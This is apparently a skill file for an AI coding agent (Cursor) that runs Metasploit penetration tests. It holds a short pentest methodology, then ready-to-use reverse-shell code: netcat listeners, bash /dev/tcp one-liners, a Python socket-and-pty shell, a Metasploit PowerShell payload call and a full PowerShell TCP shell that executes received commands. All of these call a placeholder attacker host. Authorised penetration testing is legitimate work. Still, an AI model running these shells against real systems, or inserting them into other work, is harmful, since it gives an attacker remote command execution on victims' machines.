metasploit-cursor-harness: Skill for Cursor

Methodology and Cheatsheets

When to Use

• Model phase (SG2.*): threat modeling and attack scenario planning
• Recon: network discovery, external footprinting
• Post-exploit: shells, pivoting, hash cracking, tool syntax
• Report phase (SG6.*): finding structure (see reporting-pentest)
• Any agent needs a quick reference not covered by a domain skill

Pentest methodology flow

pre_engage  -> scope, ROE, rules of engagement
recon       -> passive/active discovery, service mapping
model       -> attack paths, prioritization
analyze     -> vuln validation, exploitability
exploit     -> controlled access (check before exploit)
post_exploit -> privesc, lateral, pivot, cred harvest
report      -> findings, evidence, remediation

Route deep execution to domain skills: AD (internal-ad-pentest), cloud (cloud-pentest), web (web-app-pentest), containers (container-devops-pentest).

Reverse shells

Start listener

MSF MCP (preferred):

msf_start_listener(
  engagement_id="<id>",
  payload="linux/x64/shell/reverse_tcp",
  lhost="<attacker>",
  lport=4444
)

CLI fallback:

nc -lvnp 4444
ncat -lvnp 4444 --ssl

Bash reverse shell

MSF: No direct module. Use msf_start_listener then trigger shell on target.

CLI fallback:

bash -i >& /dev/tcp/ATTACKER/4444 0>&1
bash -c 'bash -i >& /dev/tcp/ATTACKER/4444 0>&1'

Python reverse shell

MSF: No direct module. Use listener + target-side Python one-liner.

CLI fallback:

python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("ATTACKER",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/bash")'

PowerShell reverse shell

MSF MCP (preferred):

msf_generate_payload(
  engagement_id="<id>",
  payload="windows/x64/meterpreter/reverse_tcp",
  format="psh",
  options={"LHOST": "ATTACKER", "LPORT": 4444},
  output_path="evidence/msf/revshell.ps1"
)

CLI fallback:

$client = New-Object System.Net.Sockets.TCPClient("ATTACKER",4444)
$stream = $client.GetStream()
[byte[]]$bytes = 0..65535|%{0}
while(($i = $stream.Read($bytes,0,$bytes.Length)) -ne 0){
  $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i)
  $sendback = (iex $data 2>&1 | Out-String)
  $sendback2 = $sendback + "PS " + (pwd).Path + "> "
  $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)
  $stream.Write($sendbyte,0,$sendbyte.Length)
}